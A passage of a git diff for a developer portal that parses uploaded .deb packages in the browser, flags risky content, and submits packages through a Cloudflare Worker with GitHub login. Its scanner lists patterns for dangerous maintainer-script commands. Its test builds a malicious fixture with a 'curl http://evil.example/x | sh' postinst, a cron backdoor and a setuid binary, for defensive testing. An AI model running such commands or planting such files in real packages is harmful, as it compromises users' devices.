alert(`下架失败:${err.message}`); + btn.disabled = false; + } +} + +function say(kind, text) { + const el = $("status"); + el.className = `status ${kind}`; + el.textContent = text; +} + +init(); diff --git a/dev-portal/site/debparse.js b/dev-portal/site/debparse.js new file mode 100644 index 0000000..34a7a01 --- /dev/null +++ b/dev-portal/site/debparse.js @@ -0,0 +1,338 @@ +/** + * Browser-side .deb inspector for the CardputerZero developer portal. + * + * Parses a Debian package entirely in the browser (no upload needed): + * ar archive -> control.tar.{gz,xz,zst} + data.tar.{gz,xz,zst} + * and produces control fields, the .desktop entry, the app icon bytes, + * a full file listing and a preliminary safety report. + * + * Decompressors are injected so the same module works in the page (CDN + * libs) and in Node tests (npm libs): + * parseDeb(buffer, { gzip, xz, zstd }) — each: (Uint8Array) => Promise + */ + +/* ------------------------------ ar archive ------------------------------- */ + +function parseAr(bytes) { + const dec = new TextDecoder(); + if (dec.decode(bytes.subarray(0, 8)) !== "!\n") { + throw new Error("不是有效的 .deb 文件(缺少 ar 魔数)"); + } + const entries = []; + let off = 8; + while (off + 60 <= bytes.length) { + const name = dec.decode(bytes.subarray(off, off + 16)).trim().replace(/\/$/, ""); + const size = parseInt(dec.decode(bytes.subarray(off + 48, off + 58)).trim(), 10); + if (!Number.isFinite(size)) break; + const start = off + 60; + entries.push({ name, data: bytes.subarray(start, start + size) }); + off = start + size + (size % 2); // entries are 2-byte aligned + } + return entries; +} + +/* --------------------------------- tar ----------------------------------- */ + +const TYPE_NAMES = { + "0": "file", "\0": "file", "1": "hardlink", "2": "symlink", + "3": "chardev", "4": "blockdev", "5": "dir", "6": "fifo", +}; + +function parseTar(bytes) { + const dec = new TextDecoder(); + const files = []; + let off = 0; + let longName = null; + while (off + 512 <= bytes.length) { + const block = bytes.subarray(off, off + 512); + if (block.every((b) => b === 0)) break; + const rawName = dec.decode(block.subarray(0, 100)).split("\0")[0]; + const mode = parseInt(dec.decode(block.subarray(100, 108)).trim() || "0", 8); + const size = parseInt(dec.decode(block.subarray(124, 136)).trim() || "0", 8); + const typeflag = dec.decode(block.subarray(156, 157)); + const linkname = dec.decode(block.subarray(157, 257)).split("\0")[0]; + const prefix = dec.decode(block.subarray(345, 500)).split("\0")[0]; + const dataStart = off + 512; + const data = bytes.subarray(dataStart, dataStart + size); + off = dataStart + Math.ceil(size / 512) * 512; + + if (typeflag === "L") { // GNU long name: payload is the real name + longName = dec.decode(data).split("\0")[0]; + continue; + } + let path = longName || (prefix ? `${prefix}/${rawName}` : rawName); + longName = null; + path = path.replace(/^\.\//, "").replace(/\/+$/, ""); + if (!path) continue; + files.push({ + path, + mode, + size, + type: TYPE_NAMES[typeflag] || `type-${typeflag}`, + linkname: linkname || null, + data, + }); + } + return files; +} + +/* ----------------------------- decompression ----------------------------- */ + +async function extractMember(entries, base, decompressors) { + for (const [suffix, kind] of [ + [".tar.gz", "gzip"], [".tar.xz", "xz"], [".tar.zst", "zstd"], [".tar", "raw"], + ]) { + const entry = entries.find((e) => e.name === base + suffix); + if (!entry) continue; + if (kind === "raw") return parseTar(entry.data); + const fn = decompressors[kind]; + if (!fn) throw new Error(`不支持的压缩格式: ${base}${suffix}`); + return parseTar(await fn(entry.data)); + } + throw new Error(`.deb 中缺少 ${base}.tar.* 成员`); +} + +/* ------------------------------ field parsing ---------------------------- */ + +function parseControlFile(text) { + const fields = {}; + let last = null; + for (const line of text.split("\n")) { + if (/^\s/.test(line) && last) { + fields[last] += "\n" + line.trim(); + } else { + const idx = line.indexOf(":"); + if (idx > 0) { + last = line.slice(0, idx).trim(); + fields[last] = line.slice(idx + 1).trim(); + } + } + } + return fields; +} + +function parseDesktop(text) { + const fields = {}; + let inEntry = false; + for (const line of text.split("\n")) { + const t = line.trim(); + if (t.startsWith("[")) { inEntry = t === "[Desktop Entry]"; continue; } + if (!inEntry) continue; + const idx = t.indexOf("="); + if (idx > 0) fields[t.slice(0, idx).trim()] = t.slice(idx + 1).trim(); + } + return fields; +} + +export function extractEmail(maintainer) { + const m = /<([^>]+)>/.exec(maintainer || ""); + return m ? m[1].trim() : (maintainer || "").trim(); +} + +/* --------------------------- dpkg version compare ------------------------- */ + +function chOrder(c) { + if (c === "~") return -1; + if (c >= "0" && c <= "9") return 0; + if (/[A-Za-z]/.test(c)) return c.charCodeAt(0); + return c.charCodeAt(0) + 256; +} + +function verrevcmp(a, b) { + let ia = 0, ib = 0; + const isDigit = (c) => c >= "0" && c <= "9"; + while (ia < a.length || ib < b.length) { + let firstDiff = 0; + while ((ia < a.length && !isDigit(a[ia])) || (ib < b.length && !isDigit(b[ib]))) { + const ac = ia < a.length ? chOrder(a[ia]) : 0; + const bc = ib < b.length ? chOrder(b[ib]) : 0; + if (ac !== bc) return ac - bc; + ia++; ib++; + } + while (a[ia] === "0") ia++; + while (b[ib] === "0") ib++; + while (ia < a.length && isDigit(a[ia]) && ib < b.length && isDigit(b[ib])) { + if (!firstDiff) firstDiff = a.charCodeAt(ia) - b.charCodeAt(ib); + ia++; ib++; + } + if (ia < a.length && isDigit(a[ia])) return 1; + if (ib < b.length && isDigit(b[ib])) return -1; + if (firstDiff) return firstDiff; + } + return 0; +} + +/** dpkg --compare-versions 语义:返回 -1 / 0 / 1 */ +export function compareDebVersions(va, vb) { + const split = (v) => { + v = v.trim(); + let epoch = 0; + const ci = v.indexOf(":"); + if (ci > 0 && /^\d+$/.test(v.slice(0, ci))) { epoch = parseInt(v.slice(0, ci), 10); v = v.slice(ci + 1); } + const di = v.lastIndexOf("-"); + return di >= 0 ? [epoch, v.slice(0, di), v.slice(di + 1)] : [epoch, v, ""]; + }; + const [ea, ua, ra] = split(va); + const [eb, ub, rb] = split(vb); + if (ea !== eb) return ea > eb ? 1 : -1; + const rc = verrevcmp(ua, ub) || verrevcmp(ra, rb); + return rc > 0 ? 1 : rc < 0 ? -1 : 0; +} + +/* ------------------------------ safety report ---------------------------- */ + +function allowedPrefixes(pkgName) { + return [ + "usr/share/APPLaunch/", + "lib/systemd/system/", + "usr/share/doc/", + ...(pkgName ? [`usr/share/${pkgName}/`, `usr/lib/${pkgName}/`, `opt/${pkgName}/`] : []), + ]; +} + +const SCRIPT_PATTERNS = [ + [/rm\s+(-\w+\s+)*(\/|\$\{?HOME)/, "danger", "maintainer 脚本包含对根目录/家目录的删除操作"], + [/(curl|wget)[^\n]*\|\s*(ba)?sh/, "danger", "maintainer 脚本从网络下载并直接执行代码"], + [/base64\s+(-d|--decode)/, "warn", "maintainer 脚本包含 base64 解码(可能隐藏内容)"], + [/\b(nc|ncat|netcat)\b/, "warn", "maintainer 脚本调用 netcat"], + [/dd\s+[^\n]*of=\/dev\//, "danger", "maintainer 脚本直接写入设备文件"], + [/mkfs|fdisk|parted/, "danger", "maintainer 脚本包含磁盘分区/格式化命令"], + [/\/etc\/(passwd|shadow|sudoers)/, "danger", "maintainer 脚本操作系统认证文件"], + [/chmod\s+[0-7]*[4267][0-7]{2,}\s/, "warn", "maintainer 脚本修改敏感权限位"], + [/crontab|\/etc\/cron/, "warn", "maintainer 脚本安装计划任务"], + [/systemctl\s+(enable|start)/, "info", "maintainer 脚本启用 systemd 服务(APPLaunch 应用常见)"], +]; + +function analyzeFiles(dataFiles, report, pkgName) { + const prefixes = allowedPrefixes(pkgName); + let elfCount = 0, wrongArchElf = 0, totalSize = 0; + for (const f of dataFiles) { + totalSize += f.size; + if (f.path.includes("..")) { + report.push(["danger", `路径穿越: ${f.path}`]); + } + if (f.type === "chardev" || f.type === "blockdev") { + report.push(["danger", `包含设备文件: ${f.path}`]); + } + if (f.type === "file") { + if (f.mode & 0o4000) report.push(["danger", `setuid 可执行文件: ${f.path}`]); + if (f.mode & 0o2000) report.push(["warn", `setgid 文件: ${f.path}`]); + if (f.mode & 0o002) report.push(["warn", `全局可写文件: ${f.path}`]); + if (f.size > 50 * 1024 * 1024) { + report.push(["warn", `超大文件 (${(f.size / 1048576).toFixed(0)} MB): ${f.path}`]); + } + if (f.size >= 20 && f.data[0] === 0x7f && f.data[1] === 0x45 && f.data[2] === 0x4c && f.data[3] === 0x46) { + elfCount++; + const machine = f.data[18] | (f.data[19] << 8); + if (machine !== 183) { // EM_AARCH64 + wrongArchElf++; + report.push(["warn", `非 arm64 的 ELF 二进制 (e_machine=${machine}): ${f.path}`]); + } + } + } + if (f.type === "symlink" && f.linkname && f.linkname.startsWith("/") && + !f.linkname.startsWith("/usr/share/APPLaunch")) { + report.push(["warn", `符号链接指向包外绝对路径: ${f.path} -> ${f.linkname}`]); + } + if (f.type !== "dir") { + const ok = prefixes.some((p) => f.path.startsWith(p)); + if (!ok) report.push(["warn", `非常规安装路径: ${f.path}`]); + } + } + return { elfCount, wrongArchElf, totalSize }; +} + +/* --------------------------------- main ---------------------------------- */ + +/** + * @param {ArrayBuffer|Uint8Array} buffer the .deb bytes + * @param {{gzip:Function, xz:Function, zstd:Function}} decompressors + * @returns {Promise} 解析与检查结果 + */ +export async function parseDeb(buffer, decompressors) { + const bytes = buffer instanceof Uint8Array ? buffer : new Uint8Array(buffer); + const report = []; // [level, message]; level: pass | info | warn | danger + + const entries = parseAr(bytes); + const controlFiles = await extractMember(entries, "control", decompressors); + const dataFiles = await extractMember(entries, "data", decompressors); + const dec = new TextDecoder(); + + // control fields + const controlEntry = controlFiles.find((f) => f.path === "control"); + if (!controlEntry) throw new Error(".deb 中缺少 control 文件"); + const control = parseControlFile(dec.decode(controlEntry.data)); + for (const field of ["Package", "Version", "Architecture", "Maintainer"]) { + if (!control[field]) report.push(["danger", `control 缺少 ${field} 字段`]); + } + if (control.Package && !/^[a-z0-9][a-z0-9.+-]+$/.test(control.Package)) { + report.push(["danger", `包名不合法: ${control.Package}`]); + } + if (control.Architecture && !["arm64", "all"].includes(control.Architecture)) { + report.push(["danger", `架构必须是 arm64 或 all,当前: ${control.Architecture}`]); + } + + // maintainer scripts + const scripts = {}; + for (const name of ["preinst", "postinst", "prerm", "postrm"]) { + const f = controlFiles.find((e) => e.path === name); + if (!f) continue; + const text = dec.decode(f.data); + scripts[name] = text; + for (const [re, level, msg] of SCRIPT_PATTERNS) { + if (re.test(text)) report.push([level, `${msg}(${name})`]); + } + } + + // .desktop + const desktopFile = dataFiles.find( + (f) => f.type === "file" && /^usr\/share\/APPLaunch\/applications\/[^/]+\.desktop$/.test(f.path), + ); + let desktop = null; + if (desktopFile) { + desktop = { path: desktopFile.path, ...parseDesktop(dec.decode(desktopFile.data)) }; + report.push(["pass", `.desktop: ${desktopFile.path}`]); + if (!desktop.Name) report.push(["warn", ".desktop 缺少 Name"]); + if (!desktop.Exec) report.push(["danger", ".desktop 缺少 Exec"]); + } else { + report.push(["danger", "缺少 usr/share/APPLaunch/applications/*.desktop(商店应用必须提供)"]); + } + + // icon + let icon = null; + if (desktop && desktop.Icon) { + const rel = desktop.Icon.replace(/^\//, ""); + const candidates = [rel, `usr/share/APPLaunch/${rel}`]; + const f = dataFiles.find((e) => e.type === "file" && candidates.includes(e.path)); + if (f) { + const isPng = f.data.length > 8 && f.data[0] === 0x89 && f.data[1] === 0x50; + icon = { path: f.path, bytes: f.data.slice(), isPng }; + report.push([isPng ? "pass" : "warn", isPng ? `图标: ${f.path}` : `图标不是 PNG: ${f.path}`]); + } else { + report.push(["warn", `.desktop 声明的图标未打进包里: ${desktop.Icon}`]); + } + } + + const stats = analyzeFiles(dataFiles, report, control.Package); + if (stats.elfCount > 0) { + report.push(["info", `包含 ${stats.elfCount} 个 ELF 二进制${stats.wrongArchElf ? `(其中 ${stats.wrongArchElf} 个架构可疑)` : "(架构均为 arm64)"}`]); + } + if (Object.keys(scripts).length) { + report.push(["info", `包含 maintainer 脚本: ${Object.keys(scripts).join(", ")}`]); + } + + const danger = report.filter(([l]) => l === "danger").length; + const warn = report.filter(([l]) => l === "warn").length; + + return { + control, + email: extractEmail(control.Maintainer), + desktop, + icon, + scripts, + files: dataFiles.map(({ path, size, mode, type, linkname }) => ({ path, size, mode, type, linkname })), + totalInstalledSize: stats.totalSize, + report, + verdict: danger ? "danger" : warn ? "warn" : "pass", + }; +} diff --git a/dev-portal/site/index.html b/dev-portal/site/index.html new file mode 100644 index 0000000..081614a --- /dev/null +++ b/dev-portal/site/index.html @@ -0,0 +1,156 @@ + + + + + + 开发者中心 · CardputerZero AppStore + + + +
+

CardputerZero 开发者中心

+ +
+ +
+ + + + + +
+ + + + diff --git a/dev-portal/test/debparse.test.js b/dev-portal/test/debparse.test.js new file mode 100644 index 0000000..3ee44a0 --- /dev/null +++ b/dev-portal/test/debparse.test.js @@ -0,0 +1,104 @@ +/* Node test for the browser deb parser. Builds fixture .debs with dpkg-deb + * and decompresses with system gzip/xz/zstd in place of the browser APIs. + * + * Run: node --test test/ + * Requires: dpkg-deb, gzip, xz, zstd (Debian/Ubuntu: apt install dpkg xz-utils zstd) + */ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { execFileSync } from "node:child_process"; +import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, chmodSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { parseDeb, compareDebVersions, extractEmail } from "../site/debparse.js"; + +const sh = (cmd, args, input) => new Uint8Array(execFileSync(cmd, args, { input, maxBuffer: 1 << 28 })); +const decompressors = { + gzip: async (d) => sh("gzip", ["-dc"], d), + xz: async (d) => sh("xz", ["-dc"], d), + zstd: async (d) => sh("zstd", ["-dc"], d), +}; + +function buildDeb({ name, version, maintainer, evil = false, compression = "xz" }) { + const root = mkdtempSync(join(tmpdir(), "debfix-")); + const stage = join(root, "stage"); + mkdirSync(join(stage, "DEBIAN"), { recursive: true }); + mkdirSync(join(stage, "usr/share/APPLaunch/applications"), { recursive: true }); + mkdirSync(join(stage, "usr/share/APPLaunch/bin"), { recursive: true }); + mkdirSync(join(stage, "usr/share/APPLaunch/share/images"), { recursive: true }); + + writeFileSync(join(stage, "DEBIAN/control"), + `Package: ${name}\nVersion: ${version}\nArchitecture: arm64\n` + + `Maintainer: ${maintainer}\nDescription: test fixture\n`); + writeFileSync(join(stage, `usr/share/APPLaunch/applications/${name}.desktop`), + `[Desktop Entry]\nName=Fixture App\nExec=/usr/share/APPLaunch/bin/${name}\n` + + `Terminal=false\nIcon=share/images/${name}.png\nType=Application\n`); + // Tiny valid PNG (1x1) + const png = Buffer.from( + "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==", + "base64"); + writeFileSync(join(stage, `usr/share/APPLaunch/share/images/${name}.png`), png); + writeFileSync(join(stage, `usr/share/APPLaunch/bin/${name}`), "#!/bin/sh\necho hi\n"); + chmodSync(join(stage, `usr/share/APPLaunch/bin/${name}`), 0o755); + + if (evil) { + writeFileSync(join(stage, "DEBIAN/postinst"), "#!/bin/sh\ncurl http://evil.example/x | sh\n"); + chmodSync(join(stage, "DEBIAN/postinst"), 0o755); + mkdirSync(join(stage, "etc/cron.d"), { recursive: true }); + writeFileSync(join(stage, "etc/cron.d/backdoor"), "* * * * * root /usr/share/APPLaunch/bin/x\n"); + chmodSync(join(stage, `usr/share/APPLaunch/bin/${name}`), 0o4755); // setuid + } + + const out = join(root, `${name}_${version}_arm64.deb`); + execFileSync("dpkg-deb", ["--root-owner-group", `-Z${compression}`, "-b", stage, out], + { stdio: "pipe" }); + return out; +} + +test("parses a clean package (xz)", async () => { + const deb = buildDeb({ + name: "fixture", version: "1.2.3", + maintainer: "Dev ", + }); + const r = await parseDeb(readFileSync(deb), decompressors); + assert.equal(r.control.Package, "fixture"); + assert.equal(r.control.Version, "1.2.3"); + assert.equal(r.email, "dev@users.noreply.github.com"); + assert.equal(r.desktop.Name, "Fixture App"); + assert.ok(r.icon && r.icon.isPng); + assert.equal(r.verdict, "pass"); +}); + +test("parses gzip and zstd members too", async () => { + for (const compression of ["gzip", "zstd"]) { + const deb = buildDeb({ + name: "fixture", version: "1.0.0", + maintainer: "Dev ", compression, + }); + const r = await parseDeb(readFileSync(deb), decompressors); + assert.equal(r.control.Package, "fixture", compression); + } +}); + +test("flags malicious content", async () => { + const deb = buildDeb({ + name: "sketchy", version: "0.1", + maintainer: "X ", evil: true, + }); + const r = await parseDeb(readFileSync(deb), decompressors); + const msgs = r.report.map(([, m]) => m).join("\n"); + assert.equal(r.verdict, "danger"); + assert.match(msgs, /下载并直接执行代码/); + assert.match(msgs, /setuid/); + assert.match(msgs, /非常规安装路径.*cron/); +}); + +test("dpkg version semantics", () => { + assert.equal(compareDebVersions("1.0.4", "1.0.3"), 1); + assert.equal(compareDebVersions("1.0.3", "1.0.3"), 0); + assert.equal(compareDebVersions("1.0~beta", "1.0"), -1); + assert.equal(compareDebVersions("1.0-m5stack2", "1.0-m5stack1"), 1); + assert.equal(compareDebVersions("2:0.1", "1:9.9"), 1); + assert.equal(extractEmail("A B "), "a@b.c"); +}); diff --git a/dev-portal/worker/src/index.js b/dev-portal/worker/src/index.js new file mode 100644 index 0000000..c552a25 --- /dev/null +++ b/dev-portal/worker/src/index.js @@ -0,0 +1,421 @@ +/** + * CardputerZero developer portal — Cloudflare Worker. + * + * Serves the static portal (../site via the assets binding) and the API on + * the same origin (no CORS involved): + * + * GET /auth/login GitHub OAuth (scope: user:email — verified emails) + * GET /auth/callback code exchange, sets signed session cookie + * GET /auth/logout + * GET /api/me {login, emails, is_admin} + * POST /api/submit multipart: deb + package/version/arch + source_repo? + * POST /api/unpublish json: {package, version} + * + * Trust model: the browser parses the .deb for preview UX, but nothing the + * client sends is trusted for enforcement. This Worker re-checks ownership + * and version monotonicity against the published APT index, and the + * packages-repo GitHub Action re-validates everything with real dpkg-deb + * before a publish PR is created. + * + * Secrets: GITHUB_CLIENT_ID, GITHUB_CLIENT_SECRET, BOT_TOKEN, SESSION_SECRET. + * Vars: see wrangler.toml. + */ + +import { compareDebVersions, extractEmail } from "../../site/debparse.js"; + +const SESSION_COOKIE = "cz_session"; +const STATE_COOKIE = "cz_oauth_state"; +const SESSION_TTL_SECS = 24 * 3600; +const USER_AGENT = "cardputerzero-dev-portal/1.0"; + +export default { + async fetch(request, env) { + const url = new URL(request.url); + try { + switch (`${request.method} ${url.pathname}`) { + case "GET /auth/login": return authLogin(url, env); + case "GET /auth/callback": return authCallback(request, url, env); + case "GET /auth/logout": return authLogout(env); + case "GET /api/me": return apiMe(request, env); + case "POST /api/submit": return apiSubmit(request, env); + case "POST /api/unpublish": return apiUnpublish(request, env); + } + // Everything else falls through to the static assets. + return env.ASSETS.fetch(request); + } catch (err) { + console.error(err.stack || String(err)); + return json(500, { error: "internal", detail: String(err.message || err) }); + } + }, +}; + +/* ---------------------------------- auth --------------------------------- */ + +function authLogin(url, env) { + const state = crypto.randomUUID(); + const target = new URL("https://github.com/login/oauth/authorize"); + target.searchParams.set("client_id", env.GITHUB_CLIENT_ID); + target.searchParams.set("redirect_uri", `${url.origin}/auth/callback`); + target.searchParams.set("scope", "user:email"); // verified email addresses + target.searchParams.set("state", state); + return new Response(null, { + status: 302, + headers: { + Location: target.toString(), + "Set-Cookie": cookie(STATE_COOKIE, state, 600), + }, + }); +} + +async function authCallback(request, url, env) { + const code = url.searchParams.get("code"); + const state = url.searchParams.get("state"); + if (!code || !state || parseCookies(request)[STATE_COOKIE] !== state) { + return json(400, { error: "bad_oauth_state" }); + } + + const tokenResp = await fetch("https://github.com/login/oauth/access_token", { + method: "POST", + headers: { "content-type": "application/json", accept: "application/json" }, + body: JSON.stringify({ + client_id: env.GITHUB_CLIENT_ID, + client_secret: env.GITHUB_CLIENT_SECRET, + code, + }), + }); + const { access_token: token } = await tokenResp.json(); + if (!token) return json(502, { error: "oauth_exchange_failed" }); + + // Read identity + verified emails, then discard the user token. + const userHeaders = { + authorization: `Bearer ${token}`, + accept: "application/vnd.github+json", + "user-agent": USER_AGENT, + }; + const user = await (await fetch("https://api.github.com/user", { headers: userHeaders })).json(); + let verified = []; + try { + const emails = await (await fetch("https://api.github.com/user/emails", { headers: userHeaders })).json(); + if (Array.isArray(emails)) { + verified = emails.filter((e) => e.verified).map((e) => e.email.toLowerCase()); + } + } catch { /* user:email may be revoked; noreply fallback below still works */ } + + const emails = [...new Set([ + `${user.login.toLowerCase()}@users.noreply.github.com`, + `${user.id}+${user.login.toLowerCase()}@users.noreply.github.com`, + ...verified, + ])].slice(0, 12); + + const isAdmin = (env.ADMIN_LOGINS || "") + .split(",").map((s) => s.trim().toLowerCase()).filter(Boolean) + .includes(user.login.toLowerCase()); + + const session = await sealSession(env, { + l: user.login, + e: emails, + a: isAdmin, + x: Math.floor(Date.now() / 1000) + SESSION_TTL_SECS, + }); + const headers = new Headers({ Location: env.RETURN_PATH || "/" }); + headers.append("Set-Cookie", cookie(SESSION_COOKIE, session, SESSION_TTL_SECS)); + headers.append("Set-Cookie", cookie(STATE_COOKIE, "", 0)); + return new Response(null, { status: 302, headers }); +} + +function authLogout(env) { + return new Response(null, { + status: 302, + headers: { + Location: env.RETURN_PATH || "/", + "Set-Cookie": cookie(SESSION_COOKIE, "", 0), + }, + }); +} + +async function apiMe(request, env) { + const s = await openSession(request, env); + if (!s) return json(401, { error: "not_logged_in" }); + return json(200, { login: s.l, emails: s.e, is_admin: s.a }); +} + +/* --------------------------------- submit -------------------------------- */ + +async function apiSubmit(request, env) { + const s = await openSession(request, env); + if (!s) return json(401, { error: "not_logged_in" }); + + const form = await request.formData(); + const file = form.get("deb"); + const pkg = String(form.get("package") || "").trim(); + const version = String(form.get("version") || "").trim(); + const arch = String(form.get("arch") || "").trim(); + const sourceRepo = String(form.get("source_repo") || "").trim(); + + if (!(file && typeof file.arrayBuffer === "function")) return json(400, { error: "missing_deb_file" }); + if (!/^[a-z0-9][a-z0-9.+-]+$/.test(pkg)) return json(400, { error: "bad_package_name" }); + if (!/^[a-zA-Z0-9.+~:-]+$/.test(version)) return json(400, { error: "bad_version" }); + if (!["arm64", "all"].includes(arch)) return json(400, { error: "bad_arch" }); + if (sourceRepo && !/^https:\/\/[\w.-]+\/[\w./-]+$/.test(sourceRepo)) { + return json(400, { error: "bad_source_repo" }); + } + + const maxBytes = Number(env.MAX_SIZE_MB || "64") * 1024 * 1024; + const buf = await file.arrayBuffer(); + if (buf.byteLength === 0 || buf.byteLength > maxBytes) { + return json(413, { error: "bad_size", detail: `1B ~ ${env.MAX_SIZE_MB || "64"}MB` }); + } + if (new TextDecoder().decode(new Uint8Array(buf, 0, 8)) !== "!\n") { + return json(400, { error: "not_a_deb" }); + } + + // Pre-flight against the published index: name squatting + version bump. + // (Authoritative re-check happens in the packages-repo Action.) + const index = await fetchIndex(env); + const entries = index.get(pkg) || []; + if (entries.length) { + const owner = extractEmail(entries[0].maintainer).toLowerCase(); + if (!s.a && !s.e.includes(owner)) { + return json(403, { + error: "not_owner", + detail: `包名 "${pkg}" 已被 ${maskEmail(owner)} 占用,只有该邮箱对应的 GitHub 账号或管理员可以更新/下架`, + }); + } + const latest = entries.map((e) => e.version).sort(compareDebVersions).pop(); + if (compareDebVersions(version, latest) === 0) { + return json(409, { error: "version_exists", detail: `版本 ${version} 已存在,请提升版本号` }); + } + if (compareDebVersions(version, latest) < 0) { + return json(409, { error: "version_too_old", detail: `版本必须高于已发布的 ${latest}` }); + } + } + + const sha256 = hex(await crypto.subtle.digest("SHA-256", buf)); + const canonical = `${pkg}_${version}_${arch}.deb`.replace(/~/g, "."); + const assetName = `${s.l}__${canonical}`; + + const release = await ensureBufferRelease(env); + await deleteAsset(env, release, assetName); + const upload = await fetch( + `https://uploads.github.com/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}` + + `/releases/${release.id}/assets?name=${encodeURIComponent(assetName)}`, + { method: "POST", headers: { ...bot(env), "content-type": "application/octet-stream" }, body: buf }, + ); + if (!upload.ok) return json(502, { error: "upload_failed", detail: await safeText(upload) }); + const asset = await upload.json(); + + const dispatch = await gh(env, `/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}/dispatches`, { + method: "POST", + body: JSON.stringify({ + event_type: "web-submission", + client_payload: { + login: s.l, + emails: s.e, + is_admin: s.a, + package: pkg, + version, + architecture: arch, + filename: canonical, + url: asset.browser_download_url, + sha256, + size: buf.byteLength, + source_repo: sourceRepo, + }, + }), + }); + if (dispatch.status !== 204) return json(502, { error: "dispatch_failed", detail: await safeText(dispatch) }); + + return json(200, { + ok: true, + sha256, + message: "已提交,服务器正在做最终校验;通过后会自动生成发布 PR。", + track_url: `https://github.com/${env.TARGET_OWNER}/${env.TARGET_REPO}/pulls?q=is%3Apr+${pkg}`, + actions_url: `https://github.com/${env.TARGET_OWNER}/${env.TARGET_REPO}/actions/workflows/process-web-submission.yml`, + }); +} + +/* -------------------------------- unpublish ------------------------------ */ + +async function apiUnpublish(request, env) { + const s = await openSession(request, env); + if (!s) return json(401, { error: "not_logged_in" }); + + const { package: pkg, version } = await request.json(); + if (!/^[a-z0-9][a-z0-9.+-]+$/.test(pkg || "")) return json(400, { error: "bad_package_name" }); + if (!/^[a-zA-Z0-9.+~:-]+$/.test(version || "")) return json(400, { error: "bad_version" }); + + const index = await fetchIndex(env); + const entries = index.get(pkg) || []; + const entry = entries.find((e) => e.version === version); + if (!entry) return json(404, { error: "not_published", detail: `${pkg} ${version} 不在线上索引中` }); + + const owner = extractEmail(entry.maintainer).toLowerCase(); + if (!s.a && !s.e.includes(owner)) { + return json(403, { error: "not_owner", detail: "只有包的 Maintainer 邮箱对应的账号或管理员可以下架" }); + } + + const dispatch = await gh(env, `/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}/dispatches`, { + method: "POST", + body: JSON.stringify({ + event_type: "web-unpublish", + client_payload: { + login: s.l, + emails: s.e, + is_admin: s.a, + package: pkg, + version, + architecture: entry.architecture || "arm64", + }, + }), + }); + if (dispatch.status !== 204) return json(502, { error: "dispatch_failed", detail: await safeText(dispatch) }); + + return json(200, { + ok: true, + message: "下架请求已提交,将自动生成移除 PR。", + track_url: `https://github.com/${env.TARGET_OWNER}/${env.TARGET_REPO}/pulls?q=is%3Apr+unpublish+${pkg}`, + }); +} + +/* ------------------------------ APT index -------------------------------- */ + +/** Parse the published Packages index into Map. */ +async function fetchIndex(env) { + const map = new Map(); + let text = ""; + try { + const resp = await fetch(env.PACKAGES_INDEX_URL, { + headers: { "user-agent": USER_AGENT }, + cf: { cacheTtl: 60 }, + }); + if (resp.ok) text = await resp.text(); + } catch { /* index unreachable — treat as empty; Action re-checks anyway */ } + + for (const para of text.split(/\n\n+/)) { + const fields = {}; + for (const line of para.split("\n")) { + const idx = line.indexOf(": "); + if (idx > 0 && !/^\s/.test(line)) fields[line.slice(0, idx)] = line.slice(idx + 2).trim(); + } + if (!fields.Package) continue; + if (!map.has(fields.Package)) map.set(fields.Package, []); + map.get(fields.Package).push({ + version: fields.Version || "", + maintainer: fields.Maintainer || "", + architecture: fields.Architecture || "", + }); + } + return map; +} + +/* ------------------------------ github utils ----------------------------- */ + +function bot(env) { + return { + authorization: `Bearer ${env.BOT_TOKEN}`, + accept: "application/vnd.github+json", + "user-agent": USER_AGENT, + }; +} + +function gh(env, path, init = {}) { + return fetch(`https://api.github.com${path}`, { ...init, headers: { ...bot(env), ...(init.headers || {}) } }); +} + +async function ensureBufferRelease(env) { + const tag = env.BUFFER_TAG || "web-upload-buffer"; + const existing = await gh(env, `/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}/releases/tags/${tag}`); + if (existing.ok) return existing.json(); + if (existing.status !== 404) throw new Error(`release lookup failed: ${existing.status}`); + const created = await gh(env, `/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}/releases`, { + method: "POST", + body: JSON.stringify({ + tag_name: tag, + name: "web upload buffer", + prerelease: true, + body: "Holds .deb files uploaded via the developer portal pending review.", + }), + }); + if (!created.ok) throw new Error(`release create failed: ${created.status}`); + return created.json(); +} + +async function deleteAsset(env, release, name) { + const found = (release.assets || []).find((a) => a.name === name); + if (found) { + await gh(env, `/repos/${env.TARGET_OWNER}/${env.TARGET_REPO}/releases/assets/${found.id}`, { method: "DELETE" }); + } +} + +/* -------------------------------- sessions ------------------------------- */ + +async function sealSession(env, obj) { + const payload = b64url(new TextEncoder().encode(JSON.stringify(obj))); + return `${payload}.${await hmac(env.SESSION_SECRET, payload)}`; +} + +async function openSession(request, env) { + const raw = parseCookies(request)[SESSION_COOKIE]; + if (!raw) return null; + const idx = raw.lastIndexOf("."); + if (idx <= 0) return null; + const payload = raw.slice(0, idx); + if (raw.slice(idx + 1) !== (await hmac(env.SESSION_SECRET, payload))) return null; + try { + const obj = JSON.parse(new TextDecoder().decode(unb64url(payload))); + if (!obj.l || !Array.isArray(obj.e) || obj.x < Date.now() / 1000) return null; + obj.e = obj.e.map((e) => String(e).toLowerCase()); + return obj; + } catch { + return null; + } +} + +/* --------------------------------- misc ---------------------------------- */ + +function json(status, obj) { + return new Response(JSON.stringify(obj), { + status, + headers: { "content-type": "application/json; charset=utf-8" }, + }); +} + +function cookie(name, value, maxAge) { + return `${name}=${value}; Max-Age=${maxAge}; Path=/; Secure; HttpOnly; SameSite=Lax`; +} + +function parseCookies(request) { + const out = {}; + for (const part of (request.headers.get("cookie") || "").split(";")) { + const idx = part.indexOf("="); + if (idx > 0) out[part.slice(0, idx).trim()] = part.slice(idx + 1).trim(); + } + return out; +} + +async function hmac(secret, message) { + const key = await crypto.subtle.importKey( + "raw", new TextEncoder().encode(secret), + { name: "HMAC", hash: "SHA-256" }, false, ["sign"], + ); + return hex(await crypto.subtle.sign("HMAC", key, new TextEncoder().encode(message))); +} + +function hex(buf) { + return [...new Uint8Array(buf)].map((b) => b.toString(16).padStart(2, "0")).join(""); +} + +function b64url(bytes) { + return 